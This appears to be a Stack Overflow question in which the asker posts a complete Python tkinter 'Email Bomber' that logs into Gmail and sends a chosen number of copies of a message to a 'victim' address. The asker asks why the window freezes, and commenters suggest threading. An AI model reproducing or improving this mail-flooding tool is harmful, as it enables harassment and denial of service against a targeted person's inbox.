0

Am new to stack overflow, so if i do something wrong please don't rude like any other social code webpage, explain. So am coding a program that sends multi emails to one receiver as a email bomber, not to do any harm it was a old project for an assignment. when i enter the info no problem but as soon as I click send the program is non responsive until it send all emails, so well it send the GUI is freezon, once the task done it un freeze how can a fix that please.

from tkinter import *
import smtplib
from tkinter import messagebox
from tkinter.ttk import Progressbar
 
root = Tk()
root.title("Email Bomber V1.0")
root.iconbitmap("icon.ico")
root.resizable(width=FALSE, height=FALSE)
frame_title = LabelFrame(root, padx=5, pady=7)
frame_title.grid(padx=10, pady=10, row=0, column=1, sticky=W)
title = Label(frame_title, text="Email Bomber V1.0 - De Eklectik Design")
title.grid(row=0, column=2)
 
# Email text
email_info = Label(root, text="Adresse Mail:")
email_info.grid(row=1, column=0, sticky=W)
# Email text box
email_input = Entry(root, borderwidth=2, width=50, )
email_input.grid(row=1, column=1, pady=2, padx=5)
email_input.get()
 
# Password text
password_info = Label(root, text="Mot de passe:")
password_info.grid(row=2, column=0, sticky=W)
# Password text box
password_input = Entry(root, borderwidth=2, width=50, show='*')
password_input.grid(row=2, column=1, pady=2, padx=5)
password_input.get()
 
# Number of email sent
amount_info = Label(root, text="Numbre(s) de Bomb mail:")
amount_info.grid(row=3, column=0, sticky=W)
# Amount text box
amount = Entry(root, borderwidth=2, width=50)
amount.grid(row=3, column=1, pady=2, padx=5)
amount.get()
 
# Email of receiver
email_receiver_info = Label(root, text="Adresse Mail du victim:", )
email_receiver_info.grid(row=4, column=0, sticky=W)
# Password text box
email_receiver_input = Entry(root, borderwidth=2, width=50)
email_receiver_input.grid(row=4, column=1, pady=2, padx=5)
email_receiver_input.get()
 
# Message
message = Label(root, text="Message:\n\n<Ne pas suppimer 'Subject'>\n<indiquer suject puis>\n<a la ligne pour message>")
message.grid(row=5, column=0, sticky=W)
 
message_box = Text(root, borderwidth=2, width=38, height=10)
message_box.insert(1.0, "Subject: ")
 
message_box.grid(row=5, column=1, pady=2, padx=5)
message_box.get(1.0, END)
 
 
def send_email():
 
    bar = Progressbar(root, orient=VERTICAL, length=100, mode='determinate')
    bar.grid(row=4, column=3)
    count = 0
    # Download speed
    speed_string = amount.get()
    speed_float = float(speed_string)
    speed_round = round(speed_float, 2)
    speed = 100 / speed_round + 1
 
    while not count == int(amount.get()):
 
        try:
            server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
            server.login(email_input.get(), password_input.get())
            server.sendmail('yoan', email_receiver_input.get(), message_box.get(1.0, END))
            server.quit()
            count += 1
            while count < int(amount.get()):
                bar['value'] += speed  # change with problem equation
                root.update_idletasks()
                break
            else:
                messagebox.showinfo("Message", f'{count} Mail(s) Envoyer.')
 
        except Exception as e:
            messagebox.showinfo("Error Email not send", f'{e} - Error Mail non envoyer.')
            break
 
 
send = Button(root, text="Envoyer", command=send_email, width=10)
send.grid(row=6, column=0, sticky=W, pady=2, padx=4)
button_quit = Button(root, text="Quiter", command=root.quit)
button_quit.grid(row=6, column=1, sticky=W)
 
root.mainloop()
martineau
  • 119,623
  • 25
  • 170
  • 301
Yoan Tufel
  • 45
  • 9
  • Hello! That's okay if you feel bad about getting downvotes and not being able to ask questions anymore, majority of us experience that especially with beginners. Also May I ask please that you can also paste your code directly here. Thanks! – Ice Bear Dec 19 '20 at 07:15
  • With regards to your question, I'm sure this will help you a lot [link](https://stackoverflow.com/questions/16745507/tkinter-how-to-use-threads-to-preventing-main-event-loop-from-freezing) – Ice Bear Dec 19 '20 at 07:18
  • If a tkinter application calls a function that takes a long time to execute it will interfere with the execution of tkinter's own `mainloop()` and cause it to freeze until it returs. There are many question and answers about this issue on this website if you look for them. One solution is to use multiple threads — see [Freezing/Hanging tkinter Gui in waiting for the thread to complete](https://stackoverflow.com/questions/53696888/freezing-hanging-tkinter-gui-in-waiting-for-the-thread-to-complete). – martineau Dec 19 '20 at 08:30
  • hey, will thanks for some of you, a appreciate your help i find the solution, i just added a function with a new thread call, but that thread in a deamon, with the send button command being that thread function, thanks anyway – Yoan Tufel Dec 19 '20 at 09:32
  • Maybe try multiprocessing.freeze_support() – Westlenando Dec 19 '20 at 14:44

0 Answers0